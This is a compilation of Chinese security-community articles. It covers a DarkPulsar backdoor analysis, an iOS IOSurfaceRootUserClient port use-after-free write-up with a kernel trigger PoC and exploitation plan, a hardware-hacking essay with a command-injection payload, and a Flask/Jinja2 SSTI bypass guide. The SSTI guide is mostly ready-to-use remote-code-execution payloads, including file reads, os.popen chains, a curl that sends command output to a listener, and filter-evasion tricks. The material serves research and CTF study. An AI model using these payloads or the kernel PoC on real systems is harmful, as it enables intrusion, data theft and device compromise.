server。这些目标主要与核能源、电信、IT、航空和研发有关。
# DarkPulsar技术细节
DarkPulsar注入是一个动态库，其payload应用在输出函数中。这些函数可以分为以下几组：
1. 系统中两个用来安装后门的函数；
2. 名字与TSPI（Telephony Service Provider Interface电话服务提供商接口）操作相关的函数，用来确保后门在自动运行列表中并可以自动运行；
3. 名字与SSPII（Security Support Provider Interface安全支持提供商接口）操作相关的函数，用来实现主恶意payload。
SSPI和TSPI接口的实现非常简单：由DarkPulsar导出的函数有与接口函数系统的函数名，但其中包含的恶意代码而不是电话服务。
植入是通过无名的导出函数安装在系统中的。以管理权限在其库路径中调用`Secur32.AddSecurityPackage`可以启动后门，`lsass.exe`会以SSP/AP加载DarkPulsar，DarkPulsar会调用其导出函数`SpLsaModeInitialize`来初始化后门。用`AddSecurityPackage`向`lsass.exe`中注入代码，会在注册表`HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers`中添加库名。
Telephony API (TapiSrv)会与Remote Access Connection Manager
(RasMan)服务一起启动在开始时加载，设置`startup`类型为`Automatic`。在加载电话服务提供商的库时，TapiSrv会调用`TSPI_lineNegotiateTSPIVersion`，其中含有`AddSecurityPackage`调用来注入`lsass.exe`。
DarkPulsar通过为负责认证的函数`SpAcceptLsaModeContext`安装hook来应用payload。这样的注入出现在`lsass.exe`进程的许多系统认证包中，而且允许Darkpulsar基于以下协议控制认证过程：
• Msv1_0.dll – for the NTLM protocol,
• Kerberos.dll – for the Kerberos protocol,
• Schannel.dll – for the TLS/SSL protocols,
• Wdigest.dll – for the Digest protocol, and
• Lsasrv.dll –for the Negotiate protocol.
之后，Darkpulsar就获得了将恶意软件流量嵌入系统协议的能力。因为网络活动是根据标准系统流量产生的，所以只会反映在系统进程中，即在不影响正常操作的前提下使用以上协议的预留端口。
成功连接到DarkPulsar注入的网络流量
控制认证过程的第二个好处是可以绕过输入用户名和密码来获取对需要认证才可以访问的对象访问权限，此类对象包括进程列表、远程注册表、通过SMB的文件系统。当Darkpulsar的`DisableSecurity`命令发送后，受害者侧的后门hook会在`SpAcceptLsaModeContext`函数中返回，该函数传递的凭证是有效的。这样，系统就会对客户端提供受保护对象的访问权限。
# 与DarkPulsar协作
Darkpulsar-1.1.0.exe是遵循`one command – one
launch`的管理接口。命令必须在配置文件`Darkpulsar-1.1.0.9.xml`中指定或以命令行参数的形式才能执行，包括：
* 目标机器使用32位或64位系统的情况；
* 传输命令和端口号的协议；
* 用于解密session AES key的私有RSA key。
Darkpulsar-1.1.0并不是为了管理受感染机器的独立程序。而是Fuzzbunch框架的一个插件，该框架可以管理参数和相应的不同组件。下图是Fuzzbunch框架中的`DisableSecurity`命令：
下图是Processlist示例，允许在没有凭证和操作的情况下运行任意插件：
# DanderSpritz
DanderSpritz是一个控制受感染机器的框架，与FuZZbuNch不同。DanderSpritz为不同的后门服务，在受害者机器上使用PeedleCheap来启用插件。PeddleCheap是DanderSpritz的一个插件，可以用来配置植入和连接受感染的机器。一旦连接建立，所有DanderSpritz利用就可以使用了。
这也就是`EDFStagedUpload`模式的DarkPulsar提供机会来以功能性更强的植入来感染受害者：PCDllLauncher在受害者端应用PeddleCheap植入，DanderSpritz提供用户友好的后利用接口。因此PCDllLauncher的全名应该是`PeddleCheap
DLL Launcher`。
含有PeddleCheap、DarkPulsar、PCDllLauncher插件的完整DanderSpritz使用方案包含4步：
* 通过FuZZbuNch运行命令 EDFStagedUpload来启动DarkPulsar；
* 在DanderSpritz中，运行命令pc_prep (PeedelCheap Preparation)来准备在植入端启动的payload和库；
* 在DanderSpritz中，运行命令pc_old，该命令是用来从Pcdlllauncher等待socket；
* 通过FuZZbuNch 启动Pcdlllauncher，指定payload的路径，payload是用ImplantFilename参数的pc_prep命令准备好了。
DanderSpritz
文件系统插件
# 结论
FuzzBunch和DanderSpritz框架是灵活的框架，并可以根据其工具扩展功能。每个框架含有用于不同任务的插件，FuzzBunch插件负责监听和攻击受害者，DanderSpritz框架中的插件用于管理受感染的受害者设备。
DarkPulsar后门的发现可以帮助理解其在两个框架之间所起的桥接作用。鉴于DarkPulsar驻留和静默的能力，它也是攻击平台的一部分。将恶意流量封装到合法协议中、绕过输入凭证来绕过认证等方法都是非常专业的。
**IOCs**
implant `96f10cfa6ba24c9ecd08aa6d37993fe4`
文件路径 `%SystemRoot%\System32\sipauth32.tsp`
注册表 `HKLM\Software\Microsoft\Windows\CurrentVersion\Telephony\Providers`
<https://securelist.com/darkpulsar/88199/> | 社区文章 |
作者：[windknown@盘古实验室](http://blog.pangu.io/iosurfacerootuserclient-port-uaf/?from=groupmessage&isappinstalled=0 "windknown@盘古实验室")
#### 漏洞描述
苹果前天发布了iOS
11.2版本（安全更新细节尚未公布），经测试发现此次更新修复了一个沙盒内可以直接利用的内核漏洞。我们团队在去年发现该漏洞，并一直在内部的研究环境中使用该漏洞对手机进行越狱。漏洞存在于IOSurfaceRootUserClient类的调用方法中，可以导致port的UAF。首先我们给出该漏洞触发的POC：
// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);
// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234; // keep refcon the same value
for (int i=0; i<3; i++)
{
IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}
IOServiceClose(connect);
通过POC代码可以看到漏洞存在于17号调用函数，定位后对其进行逆向分析。该函数会将传入的port、callback、refcon等数据保存起来，以供需要向用户态发送消息时使用。传入的数据大小是0x18，前两个64位数据分别是callback地址和refcon的值。值得注意的是在保存数据前会首先检查相同的refcon是否已经存在，如果存在则认为已经添加过了，会调用releaseAsyncReference64函数释放reference，从而调用iokit_release_port_send释放我们传入的port，并且返回0xE00002C9号错误。
if ( !a3->asyncReference )
return 0xE00002C2LL;
input = (__int64)a3->structureInput;
reference = (__int64)a3->asyncReference;
v6 = *(_QWORD *)(a1 + 224);
v7 = 0xE00002BDLL;
IORecursiveLockLock_53(*(_QWORD *)(v6 + 264));
v8 = *(_QWORD *)(v6 + 344);
if ( v8 )
{
// 检查相同refcon的数据是否已经存在
while ( *(_QWORD *)(v8 + 32) != *(_QWORD *)(input + 8) || *(_QWORD *)(v8 + 88) != a1 )
{
v8 = *(_QWORD *)v8;
if ( !v8 )
goto LABEL_8;
}
IOUserClient::releaseAsyncReference64(reference);
v7 = 0xE00002C9LL;
}
else
{
// 分配内存并通过setAsyncReference64初始化，保存port/callback/refcon
LABEL_8:
v9 = IOMalloc_53(96LL);
v10 = v9;
if ( v9 )
{
v11 = v6 + 344;
memset_53((void *)v9, 0, 0x60uLL);
IOUserClient::setAsyncReference64(v10 + 16, *(_QWORD *)reference, *(_QWORD *)input, *(_QWORD *)(input + 8));
*(_QWORD *)(v10 + 88) = a1;
*(_QWORD *)(v10 + 80) = *(_QWORD *)(input + 16);
v12 = *(_QWORD *)(v6 + 344);
*(_QWORD *)v10 = *(_QWORD *)(v6 + 344);
if ( v12 )
*(_QWORD *)(v12 + 8) = v10;
else
*(_QWORD *)(v6 + 352) = v10;
v7 = 0LL;
*(_QWORD *)v11 = v10;
*(_QWORD *)(v10 + 8) = v11;
}
}
IORecursiveLockUnlock_53(*(_QWORD *)(v6 + 264));
return v7;
}
如果只是单纯分析该函数的行为，并不存在明显的问题，因此需要结合整个代码路径来看。我们知道IOKit是MIG的子系统，因此用户态最终封装一个message后通过mach_msg发送给内核处理并接受返回消息。而通过mach_msg传输一个port，需要发送complex的消息，内核则在copyin消息的时候会把port
name翻译成对应的port地址，并增加一个引用。随后把消息交给ipc_kobject_server处理，观察ipc_kobject_server函数的分发处理：
/*
* Find the routine to call, and call it
* to perform the kernel function
*/
ipc_kmsg_trace_send(request, option);
{
...
// 调用真正的处理函数，返回结果设置在reply消息内
(*ptr->routine)(request->ikm_header, reply->ikm_header);
...
}
// 如果返回的是简单消息，kr被设置为处理函数的返回值
if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS)
kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode;
else
kr = KERN_SUCCESS;
if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
/*
* The server function is responsible for the contents
* of the message. The reply port right is moved
* to the reply message, and we have deallocated
* the destination port right, so we just need
* to free the kmsg.
*/
// 如果返回成功则简单释放传入消息的内存
ipc_kmsg_free(request);
} else {
/*
* The message contents of the request are intact.
* Destroy everthing except the reply port right,
* which is needed in the reply message.
*/
// 如果返回错误，则释放传入消息相关的数据（包含port）
request->ikm_header->msgh_local_port = MACH_PORT_NULL;
ipc_kmsg_destroy(request);
}
可以看到如果UserClient的处理函数返回错误，那么上层会调用ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body最终释放传入的port和ool内存。此时我们再看IOSurfaceRootUserClient的17号调用，当它返回错误的时候，认为应该由自己去释放这个port而没有考虑到上层的清理代码，导致这个port会被额外释放一次。
#### 利用思路
这是一个典型的port UAF类型的漏洞。我们可以任意创建一个port，通过17号调用释放该port，同时保留用户态的port
name指向已经被释放的port地址。典型的利用思路是通过cross zone attack来填充一个虚假的port：
* 用ool ports来填充，我们可以读取一个port的的真实地址，导致堆地址泄露
* 用clock port来填充，可以猜测内核的基地址
* 用task port来填充，可以实现任意内核读取
* 用真实的kernel task port来填充，可以直接获取内核port，实现任意内核读写
#### Mitigations
* iOS 10.3以后增加了对kernel task port的保护，不过该保护仅仅比较port指向的task是否等于kernel_task，并未对立面的内容进行校验
* iOS 11以后移除了mach_zone_force_gc的接口来阻止cross zone attack，需要有别的途径能够触发gc
#### Fix
iOS 11.2中检测到要注册的refcon已经存在后也不会调用releaseAsyncReference64去释放port了。
最后想说*****这次又是被谁撞了 TT
* * * | 社区文章 |
# 【技术分享】硬件黑客技术——扩展你渗透的攻击面
|
##### 译文声明
本文是翻译文章，文章来源：unprovable.github.io
原文地址：<https://unprovable.github.io/jekyll/update/2017/03/12/Security-Assessment-Hardware-Hacking-Part-III.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
为了充分利用待评估的硬件，您应该熟悉多种安全测试领域——基础设施、网络、移动应用程序——因为这些现代设备都为我们提供了丰富的攻击面。硬件黑客技术可以极大扩展我们的渗透能力，不仅能够带来一些新的攻击方式，同时，还能增加我们的攻击深度。
**动机**
****
**持久性的问题**
目前，漏洞的“半衰期”（ **用户为其服务/软件中已识别的漏洞安装安全补丁所需的时间的一半**
）已经非常短暂了；对于托管的Web服务来说，可能只有几分钟，即使是维护可执行文件和各种服务所需的时间，也只有几个小时；就算是对于具有严格的回滚测试要求的客户来说，这个时间也只有几周而已。但是，对于硬件的安全漏洞来说，这个半衰期可能是几年时间，并且，如果开发人员不能正确使用相应的固件更新程序的话，那么这个半衰期就是直到该设备报废为止了。设备一旦安装，它就呆在那里长期运行，即使购买设备的人参加了相关的培训课程，常常也是三分钟热度，很少会记下如何更新它——当他真的需要动手更新的时候，就傻眼了。这就是硬件安全的真实写照。
**仅得到shell还远远不够**
在网络上面，确实有大量的“硬件黑客技术”指南，但是它们大多停留在“…现在你连接…”的阶段，让读者自己进行相关的攻击、测试和实验。它们根本不会指出真正的风险在哪里，以及如何处置。
是的，我明白（大多数）硬件黑客技术指南的价值仅限于通过UART获得设备上的r00t
shell，但坦白来说，这不是一个可行的攻击向量！当您通过UART访问受害者的设备的时候，难道不会引起受害者的警觉吗？或者，为了安装和审计开发用的头文件，还得随身携带该设备吗？
之前，我曾经[写过一篇](https://unprovable.github.io/jekyll/update/2016/12/06/Hardware-Hacks-Pt.-2.html)如何获取廉价UART的文章（大概只需要10英镑），不过，即使拥有了UART，这也只是万里长征的第一步而已！话说回来，如果能够对设备硬件进行这种低层的访问的话，许多原先无法进行的许多事情，现在也能够顺利完成了。
我稍后会提供UART的详细信息，但现在我只想解释一下，在安全人员的眼里，“硬件黑客技术”到底是什么意思，以及为什么该技术是有用的。
**什么是硬件黑客技术**
****
首先，我们来聊聊“硬件黑客技术”到底啥意思。这是一个非常宽泛的话题——它涵盖了电路改装、回收再利用技术、破坏游戏机上的DRM、访问内置于产品PCB中的IC的调试功能，设计并获得了一个arduino/RasPi/（通用微控制器）来完成手头项目中的某项任务、访问/写入受保护的ROM区域、逆向没有公开的数据表的IC，等等。
由于硬件黑客技术是一个很广的话题，所以我不想陷入定义的泥潭——这些都可以称之为“黑客技术”。
对于我来说，作为一名渗透测试人员和安全研究人员，硬件黑客就是从攻击者的角度分析IoT/硬件，以期找到恶意利用系统的途径。所以，我对“如果我可以使用芯片访问调试/终端界面的话，我会做些什么？”的回答是，使用这种深层次的权限来测试系统的弱点和安全漏洞。这就是我的兴趣之所在，并且一开始就明确表示过了。
因此，以下是我面对设备会想到的各种问题：
**除了（产品说明书中）的功能之外，我还能做什么？**
1.我真的拿微控制器来控制灯光吗？
2.我有固件控制的收音机可以回收利用吗？
3.如果硬件具有许多高级功能，并且这些功能已经超出你的任务所需，那么是否可以将其用于其他方面吗？
4.我可以把它变成一个恶意敲诈设备吗？例如用来完成窃听、录像、泄露敏感的用户数据或个人身份信息（PII）等。
我可以从硬件中获得其所有者的相关数据吗？例如PII、用户名、密码、2FA密钥、密码私钥等。
我可以把设备变为僵尸网络/BTC矿机吗？这是利用黑掉的设备赚钱的最简单的方法——让它们将挖到的BTC发到自己的钱包，或将其添加到僵尸网络，然后出售DDoS服务。
还能想到通过这个设备和其他设备来受益的其他恶意活动吗?
**一些攻击场景和常见的漏洞**
假设你是一名渗透测试人员，在测试的过程中需要黑掉一部设备——那么，现在该怎么办？事实上，从安全角度来看，与硬件黑客有关的攻击对象和攻击手法有很多，特别是：
**过时的软件**
对于物联网来说，供应链是一个重大的问题。[英国最近的一次大规模的黑客攻击](https://www.theregister.co.uk/2016/12/08/talktalk_routers_may_be_botnet_imperva_says/)表明，设备的通用底层软件中存在许多严重的安全漏洞。但这些缺陷到底是怎么来的？在某种程度上，这是一个供应链问题。
这里的软件通常（不正确地）指的是ZyXEL（[Allegrosoft](https://www.allegrosoft.com/)为嵌入式系统制造的软件），包括非常受欢迎的RomPager服务器软件。很明显，在这次黑客攻击之后，人们才发现这个软件存在安全问题。不过据消息人士透露，Allegro早在2005年就修复了这个漏洞，根据checkpoint披露的“misfortune
cookie”漏洞来看，它们在本质上是相似的。
那么，究竟是什么地方出了问题？嗯，像任何其他公司一样，Allegro公司也是要赚钱的，所以他们直接向IC厂商出售其软件。反过来，这些制造商开发出一款芯片后，会随芯片销售/赠送一套相应的SDK，这样公司就能迅速将产品推向市场。所以，问题就出在制造商从未进行升级，所以产品设计师也从未升级过，但是年复一年，这些这些设备一直在生产、销售和应用中——所以这个漏洞从2005年开始就存在了，直到2017年攻击事件发生才引起人们的注意，所以问题主要出在供应链的延迟线效应上面。
有时候，您会见到一些从未听说过的网络服务器（因为早在2003年它们就已经停产了，如D-Link的Boa
webserver），而且有些DNS服务器比您内衣品牌的历史都要悠久，许多内核版本都是属于博物馆级别的，更不要说它们正在运行的busybox的版本了。
**Wi-Fi之痛**
在已经发现的攻击中，许多都是针对商业Wi-Fi环境的。但从这点来看，你从少年时起的Wi-Fi经验倒是没有浪费。
**远程命令执行（RCE）**
许多情况下，您可以通过互联网发送命令，并在本地设备上以r00t身份来运行各种命令。这显然是非常糟糕的——这种漏洞是许多攻击的源头。许多设备也通过BASH脚本运行所有的东西（甚至网页），因为可以省去PHP服务的开销。不过，这样做也会带来安全方面的风险：通过注入RCE字符串，攻击者就可能从管理设备的Web应用程序的某处找到某些有用的东西。
**远程执行代码**
同样，攻击者可以连接外部设备公开的一些的服务，并向其发送精心构造的payload，以便利用其BOF、格式化字符串漏洞等发动攻击。此外，对于这些服务来说，只需通过类似[shodan](https://shodan.com/)这样的搜索引擎就可以轻松将其找出。
**跨站请求伪造（CSRF）**
CSRF漏洞可以在用户的浏览器中连接用于管理设备的基于Web的apps/API（这些apps/API几乎无处不在），然后执行RCE或直接修改设置——这是在基于固件的设备上的一种常见漏洞。为了缓解这种攻击，需要进行CSRF-Token检查，不过完成该项检查需要大量代码，这对于固件芯片来说代价太大了（别忘了，大多数固件芯片的最大存储空间为16Mb）。所以，这个漏洞将来还会非常常见。
**跨站脚本攻击（XSS）**
XSS也是一种糟糕的漏洞，如果能够利用存储式或反射式XSS攻陷设备的话，用户的浏览器以及设备就会随之沦陷。关于XSS的危害，这里就不多做介绍了，因为网上随处可见！并且这种漏洞本身，也是非常常见的！
**文件上传**
各种设备上不仅有噩梦般的CSRF漏洞，并且几乎所有的文件解析也很糟糕；如果新的上市设备提供了文件上传功能的话，那么它很可能含有与本地文件包含、目录遍历有关的漏洞，或含有可以直接黑掉它的漏洞（曾经见到过这样的设备，它允许攻击者以root身份将文件直接解压缩到/目录，包括恶意的/
bin / evil-ELF文件）。
**基于XML/SOAP的攻击**
越来越多的设备正在使用基于移动设备的Android/iOS应用进行设备管理。这些设备虽然听起来很酷，不过，由于开放了基于SOAP/XML/JSON的API来与应用程序通信（很少实现任何身份验证），因此诸如UPnP攻击、枚举、TR069之类的攻击也会随之而来了。
**认证/会话管理问题**
默认登陆凭证无处不在！
并且，在许多使用了某些嵌入式平台的设备上面，类似admin:admin这样可笑的用户名和密码也很常见。更可笑的是，大多数用户甚至可以将密码更改为这些设备名（许多人已经不再使用这些设备——请参阅“云”），因此这也值得注意。同时，验证信息（用户名/电子邮件）枚举攻击也很猖獗，此外还有身份验证绕过漏洞——我记得在一个设备上进行测试时，只需要有一个有效的cookie（您可以通过猜测或暴力方式获取）就可以绕过用户名/密码认证。
**信息泄露**
如果用户的大部分数据都经由某设备（如客户终端设备），万一该设备存在漏洞的话，那么这些数据也会处于风险之中。并且，这些设备还可以为进一步的恶意活动做好准备（转储CC数据，通过网络摄像头查看家里是否有人等）。不要忘了，客户终端一旦沦陷，在上面设置恶意的DNS服务器是非常非常简单的事情——但是，大多数用户（甚至技术精湛的IT人员）是不会注意到这个方面的，从来都不会。
此外，如果设备提供其管辖范围下的服务（SIP/VOIP，FemtoCell或IPTV接入）的访问权限的话，则这些设备上的内部机制一旦公开，就会外泄用于加密的私钥、通用共享密钥或凭证（通常是未加密/未经哈希处理的）、认证和加密访问证书、DRM信息和访问方法，等等。
**“云端”**
除了所有上面介绍的问题（它可能比其他地方处理得更好）外，云服务还面临另一个问题。在这种一夜未眠直到凌晨四点写完，并赶在西弗吉尼亚州最后一个公民投票给民主党时完成更新（与美国有关的笑话……我多么国际化）的混乱情况下，引进现代化的时髦服务也是一件非常糟糕的事情。
我可以说的是，即使用户从地球的另一边（通过互联网）修改了他们的路由器上的防火墙设置，但无法阻止厂商努力“解决”人们未知的问题，从而引入更多的问题。
**硬件方面的问题**
还有一些与硬件设备本身有关的具体问题：
**更多的供应链困扰**
例如，U-Boot就不支持安全引导。早在2005年的时候，ARM处理器就开始支持安全引导模式了，但是直到现有，最常见的引导加载程序也不支持安全引导。这意味着您的引导程序可能无法检查固件是否是恶意的。因此，如果与CSRF漏洞相结合的话，你可以上传一个恶意的固件文件（这一点我会专门写一篇文章加以介绍）。
我们知道，ARM是在许可证模式下销售的，因此许多最便宜的芯片使用的都是旧芯片的设计许可证。所以这个问题跟之前的完全相同——Jazelle模式是一种历史悠久的ARM
exec模式，它支持本机Java字节码执行（是的，你没看错）。后来，它被ARMv7中称为“ThumbEE”的新模式所“替换”，但是在全球范围内，您仍然可以看到数十万颗支持Jazelle的芯片。
**开发用的头文件**
这个问题从一开始就是显而易见的，之所以悬而未决，是因为制作确保“消费者安全”的电路板的成本是非常高昂的。原型设计本身可能就需要几周的时间，而如果再加上创建PCB布局的“安全”版本的耗时，那整体时间就要翻倍了，因此，大多数项目经理都会以成本为由搁置这样的想法。
此外，如果从开发板到生产板只是“省略”了一个连接电阻的话，也算不上欺骗任何人…
**Bootlog神谕**
Bootlog简直是太棒了，其内容之丰富，从便利贴式的注释，到作为[默认Wi-Fi密码的MAC地址](https://twitter.com/LargeCardinal/status/682591420969029632)，应有尽有。它不仅会告诉我们处理器的版本、芯片ID（它们通常被散热器覆盖）、内核版本、精确的软件版本，同时还会告诉我们在/at/on中运行的代码的所有模式。我将来会对bootlog做一些详细的解释，以说明其工作机制。
**看一个简单的实例**
****
我们来看一个简单的例子——许多CPE（消费者设备，对于家用设备来说，包括路由器、机顶盒、无线中继器等）都使用一些基于Linux的操作系统。假设我们已经在该类设备上连接了一个UART
shell。
假设我们知道用于管理设备的Web应用程序的参数列表（借助于Burp
Suite的话，这并非难事），并且有一个python脚本，可以用来遍历它们并注入一个自定义的payload（这很难吗？你可以用google搜啊）——那么，接下来呢？
现在，我们可以使用这个payload：
";echo -n "PWNED!" > /dev/ttyS0
它是做什么的？实际上，它会将短语“PWNED！”打印到串行端口（虽然该端口并非总是/dev/ttyS0，但对于Allegrosoft RomPager-esque固件来说通常如此）。也许还应该添加一个计数器，以便让它打印“PWNED! 1”，“PWNED!
2”等等，并打印到屏幕上，从而指出将其输出到哪里了。
去吃午饭吧。
吃完午饭后，你（也许）会从串口发现一些美味的漏洞——有BASH脚本远程命令执行（RCE）漏洞的任何东西都会向串口打印输出PWNED!
X。你刚才发现了一个严重的漏洞。
**那么下一步呢？**
我想知道的是，如果该RCE具有CSRF能力的话，您多久才能将这个“相邻网络RCE”变成“互联网RCE”。果真如此的话，那么可以将其嵌入到一个javascript
payload中，并利用一个非常简单的javascript代码来启动它。
**那么，接下来怎么办？**
从我的角度来看，不停的追问，正是从事硬件黑客的乐趣所在。更多精彩内容，敬请期待。 | 社区文章 |
关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下
## 前置知识
### python执行环境
Python 会根据作用域把代码编译成字节码,然后生成PyCodeObject 对象,然后PyCodeObject
对象在和PyFrameObject关联,PyFrameObject有运行所需的名字空间信息.
#### 对于一个module
local是,函数内的局部变量,global是模块内的全局变量,builtin是python内建函数,如open
利用sys._getframe() 获得当前Frame,打印结果如下
注意对于python来说,global只是局限于module的,也就是如果moduleA导入了moduleB,则执行moduleB的函数,作用域仅限于moduleB,如果moduleB导入了moduleC,但是对于A来说,moduleC是不可见的
#### 对于函数
python会依据,PyCodeObject对象和当前PyFrameObject对象生成,PyFunctionObject对象,PyFunctionObject中有两个重要的变量，func_code,
func_globals。其中func_code是函数对象对应的PyCodeObject，而func_globals则是函数的global名字空间,可以通过python3
,可以通过__globals__访问
#### 对于类
python的所有类是type的实例,又都继承自object类,因为python支持多继承,可以通过base,mro得到继承的父类
Python在初始化class对象时会填充tp_dict,这个tp_dict会用来搜索类的方法和属性的,其中对于一些特殊方法比如`__repr__`,开始指向一个默认的slot_tp_repr方法,如果在一个class中重新定义了`__repr__`方法，则在创建class对象的时候，就会将默认的tp_repr指向的方法替换为该slot_to_repr方法,并且python的[1:2]等操作,是可以通过这些特殊方法实现的.
python的方法其实是对PyFunctionObject的包装，封装成了PyMethodObject对象，这个对象除了PyFunctionObject对象本身，还新增了class对象和成员函数调用的self参数
### Flask/Jinja2
作为 web层面的攻击,我们要关注语言层面的特性和绕过
参考文档如下:
<https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters>
<https://dormousehole.readthedocs.io/en/latest/>
Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick
基本语法如下:
* {{ ... }} for [Expressions](https://jinja.palletsprojects.com/en/2.11.x/templates/#expressions) 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果
* `{% ... %}` for [Statements](https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-control-structures) ,可以实现for,if等语句,还支持set语法,可以给变量赋值
如
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
找到chr函数,并且赋值给chr变量
## 命令执行构造
在{{}}我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins
### flask内置函数
这种方法之前好像没人提过
Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
如果过滤了config,又需要查config
{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}
### 通过基类查找子类
虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类
利用
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]
等得到object
对象,然后通过`__subclasses__()`方法,得到所有子类,在找重载过`__inti__,__repr__`等特殊方法的类,利用这些方法的`__globals__`得到,`__builtins__`,或者`os,codecs`等可以进行代码执行的调用.
常见payload
// 59 为warnings.WarningMessag
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
不使用globals的payload
// <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings']，然后warnings模块包含有__builtins__,
如果可以找到warnings.catch_warnings类,则可以不使用 globals
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")
## 过滤绕过
#### 前置知识
* 利用python的魔术方法,也可以实现字典,数组取值等操作
* Jinja2对模板做了特殊处理,所以通过
A['__init__']
也可以访问A的方法,属性
* Jinja2 的attr 过滤器可以获得对象的属性或方法
* flask内置的request对象可以得到请求的信息
request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name
### 关键字过滤
#### 没过滤引号
* 如果没用过滤引号,使用反转,或者各种拼接绕过
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
#### 过滤了引号
* 利用将需要的变量放在请求中,然后通过[],或者通过attr,`__getattribute__`获得
// url?a=eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()')
// Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
* 如果request被ban,可以考虑通过`{{(config.__str__()[2])+(config.__str__()[3])}}`拼接需要的字符
* 查出chr函数,利用set赋值,然后使用
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
* 利用内置过滤器拼接出,'%c',再利用''%语法得到任意字符
get %
找到特殊字符<,url编码,得到%
{%set pc = g|lower|list|first|urlencode|first%}
get 'c'
{%set c=dict(c=1).keys()|reverse|first%}
字符串拼接
{%set udl=dict(a=pc,c=c).values()|join %}
可以得到任意字符了
get _
{%set udl2=udl%(95)%}{{udl}}
### 特殊字符过滤
其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过
#### 过滤[
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')
#### 过滤双花括号
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
这样会没有回显,考虑带外或者盲注
# 用{%print%}标记,有回显
{%print config%}
#### 过滤下划线
和过滤字符串一样绕过即可
# 参考资料
[https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96](https://misakikata.github.io/2020/04/python-沙箱逃逸与SSTI/#字符串格式化)
[https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/](https://www.mi1k7ea.com/2019/05/31/Python沙箱逃逸小结/)
[https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB](https://xi4or0uji.github.io/2019/01/15/flask之ssti模板注入/#攻击)
